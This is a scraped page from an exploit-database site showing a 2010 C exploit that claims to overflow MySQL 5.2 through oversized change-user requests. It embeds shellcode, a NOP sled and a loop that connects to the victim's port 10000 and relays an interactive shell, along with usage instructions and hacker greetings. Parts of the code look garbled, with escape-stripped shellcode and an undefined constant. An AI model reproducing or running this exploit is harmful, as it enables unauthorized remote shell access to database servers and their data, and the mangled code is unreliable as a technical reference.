Home / os / win7

[local exploits] - MySql version 5.2 Change password length

Posted on 03 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MySql version 5.2 Change password length shell | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MySql version 5.2 Change password length shell by SeeMe in local exploits | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================== MySql version 5.2 Change password length shell ============================================== I know I know it&#039;s been a while, I&#039;ve been that much into xss and forget about the rest.. Mad respect Inj3ct0r, please do not remove the comment that says Note: None is allowed to post this to exploit-db.com /* MySql version 5.2 Change password length shell * * Usage: ./mysqlexploit -h localhost -u boof -p boof -t user -d mydb -g port * * Tested on: MySql 5.2 other versions may be variable * * Greetings to: Inj3ctOr ; Sid3^effects ; L0rd CrusAd3r ;indoushka ; The_Exploited ; Eidelweiss * * Note: None is allowed to post this to exploit-db.com * * Tested on: MySql 5.2 other versions may be variable */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys/socket.h&gt; #include &lt;netdb.h&gt; #include &lt;sys/time.h&gt; #include &lt;resolv.h&gt; #include &lt;mysql/mysql.h&gt; #include &lt;signal.h&gt; #include &lt;getopt.h&gt; /* shellcode 88 bytes*/ char *shellcode=&quot;x31x66x6Cxe3xb0x66x53x43x53x43x53x89xe1x4bxcdx80x89xc7x52x66x68x27x01x08x00x53x89xe1xb0x10x50x51x57x89xe1xb0x66xcdx80xb0x66xb3x04xcdx80x50x50x57x89xe1x43xb0x66xcdx80x89xd9x89xc3xb0x3fx49xcdx80x41xe2xf8x51x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x51x53x89xe1xb0x0bxcdx80&quot;; char db[50]=&quot;test&quot;; // writable database char victim[100]=&quot;localhost&quot;; int offset=0; /* Connect to port 10000 */ int do_connect(char *host) { struct hostent *he=gethostbyname(host); struct sockaddr_in sa; int outsocket,r; struct timeval tv; fd_set rfds; char buffer[500]; memset (&amp;sa, 0, sizeof (struct sockaddr_in)); memcpy (&amp;sa.sin_addr.s_addr, he-&gt;h_addr_list[0], he-&gt;h_length); sa.sin_family = AF_INET; sa.sin_port=htons(10000); outsocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if ((connect(outsocket,(struct sockaddr *)&amp;sa,sizeof(struct sockaddr_in)))==-1) return 0; FD_ZERO (&amp;rfds); send(outsocket,&quot;uname -a; id; &quot;,14,0); printf(&quot;[+] Successful, Run your shell!: &quot;); while (1) { FD_SET (outsocket, &amp;rfds); FD_SET (0, &amp;rfds); tv.tv_sec = 30; tv.tv_usec = 0; select (outsocket + 1, &amp;rfds, NULL, NULL, &amp;tv); if (FD_ISSET(outsocket, &amp;rfds)) { if ((r=recv(outsocket, buffer, sizeof(buffer), 0))==-1) exit(2); write(1,buffer,r); } if (FD_ISSET(0,&amp;rfds)) { r=read(0,buffer,sizeof(buffer)); send(outsocket,buffer,r,0); } } return 1; } /* Print a silly joke! */ int nice_bar (int a,int max) { int i; int b=a*50/max; printf(&quot;0 [&quot;); for (i=0;i&lt;=b;i++) printf(&quot;.&quot;); for(;i&lt;50;i++) printf(&quot; &quot;); printf(&quot;] 100% &quot;); fflush(stdout); } /* Try a query in mysql server */ int do_query(MYSQL *s, char *query) { if (mysql_query(s,query)) { fprintf(stderr,&quot;Query failed (%s) &quot;,mysql_error(s)); exit(1); } } /* Boof the index cache */ int do_index(MYSQL *s) { char query[1000]; MYSQL_RES *res; printf(&quot;[+] Boofing index cache &quot;); sprintf(query, &quot;select * from %s.ow having u=&#039;junk&#039;;&quot;,db); do_query(s,query); if (!(res=mysql_store_result(s))) { printf(&quot;[-] Failed index cache boof &quot;); } mysql_free_result(res); } /* Collect mysql database */ int populate (MYSQL *s) { char buf1[300]; char query[1000]; int i; memset(buf1,0,sizeof(buf1)); memset(query,0,sizeof(query)); memset(buf1,&#039;x90&#039;,249-strlen(shellcode)-offset); strcat(buf1,shellcode); printf(&quot;[+] Creating temporal tables... &quot;); sprintf(query,&quot;use %s;&quot;,db); do_query(s,query); do_query(s,&quot;create table oy(h varchar(250),a varchar(250));&quot;); sprintf(query,&quot;insert into oy(h,a) values (&quot;%s&quot;,&quot;%s&quot;);&quot;, buf1,buf1); do_query(s,query); do_query(s,query); do_query(s,query); do_query(s,query); do_query(s,&quot;create table ow(u varchar(250),d varchar(250),index(u,d));&quot;); printf(&quot;[+] Collecting database.. this will take a time.. &quot;); for(i=0;i&lt;ROWS;i++) { do_query(s,&quot;INSERT INTO ow(u,d) select h,a from oy;&quot;); nice_bar(i,ROWS); } printf(&quot; &quot;); } void *sig_hand (int a) { if(do_connect(victim)) exit(1); } int main(int argc, char **argv) { MYSQL *sock,mysql; char abuf[10000]; char *hashpass,pass[50]=&quot;&quot;,user[50]=&quot;&quot;,ouser[50]=&quot;root&quot;; int i,port=3306,opt,pop=1; unsigned long long int stime=1977321; printf(&quot;[+] MySql vuln lenght &lt;5.x by 33[1;33SeeMe33[0m &quot;); memset (abuf,0,sizeof(abuf)); if (argc &lt; 2) { fprintf(stderr,&quot;usage : %s -h &lt;host&gt; -u &lt;user&gt; -p &lt;pass&gt;&quot; &quot; -t &lt;other_user&gt; [ -d writable_db] [ -g port ]&quot; &quot;[ -o offset ] [ -s microsecs_sleep ] [ -n ] &quot;,argv[0]); exit(1); } while((opt=getopt(argc,argv,&quot;h:u:p:t:d:o:s:g:n&quot;))!=EOF) switch(opt) { case &#039;h&#039;: strncpy(victim,optarg,49); break; case &#039;u&#039;: strncpy(user,optarg,49); break; case &#039;p&#039;: strncpy(pass,optarg,49); break; case &#039;t&#039;: strncpy(ouser,optarg,49); break; case &#039;d&#039;: strncpy(db,optarg,49); break; case &#039;g&#039;: port=atoi(optarg); break; case &#039;s&#039;: stime=atol(optarg); break; case &#039;o&#039;: offset=atoi(optarg); if (offset&gt;249-strlen(shellcode)) { printf(&quot;[-] Maximun offset: %d Aborting... &quot;, 249-strlen(shellcode)); exit(-1); } break; case &#039;n&#039;: pop=0; break; } printf(&quot;[+] Do something with Params: &quot;); printf(&quot;[+] Host: %s Port: %d User: %s Pass: %s &quot;,victim,port,user,pass); printf(&quot;[+] Target_User: %s Writable_Database: %s &quot;,ouser,db); printf(&quot;[+] Offset: %d Collect: %s Sleep: %llu &quot;,offset, pop?&quot;yes&quot;:&quot;no&quot;,stime); signal(SIGALRM,sig_hand); printf(&quot;[+] Conecting... &quot;); mysql_init(&amp;mysql); if (!(sock = mysql_real_connect(&amp;mysql,victim,user,pass, NULL,port,NULL,0))) { fprintf(stderr,&quot;[-] Couldn&#039;t connect! %s &quot;,mysql_error(&amp;mysql)); exit(1); } printf(&quot;[+] Connected: Version %s &quot;,mysql_get_server_info(sock)); printf(&quot;[+] Starting attack.. Rebuilding the base.. &quot;); strcpy(abuf,ouser); hashpass=abuf+strlen(abuf)+1; strcpy(hashpass,&quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&quot;); if (pop) populate(sock); do { do_index(sock); net_clear(&amp;sock-&gt;net); if (net_write_command(&amp;sock-&gt;net,COM_CHANGE_USER, abuf,strlen(abuf)+strlen(hashpass)+2)) { printf(&quot;[-] Can&#039;t send command to server. &quot;); } alarm(5); if (my_net_read(&amp;sock-&gt;net)==packet_error) { alarm(0); printf(&quot;[+] Packet error..;) &quot;); usleep(stime); mysql_init(&amp;mysql); if (!(sock=mysql_real_connect(&amp;mysql,victim,user,pass, NULL,port,NULL,0))) { printf(&quot;[-] Something is wrong!? &quot;); exit(1); } } else { printf(&quot;[-] Attack failed! &quot;); } alarm(0); } while(1); mysql_close(sock); } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-03]</pre></body></html>

 

TOP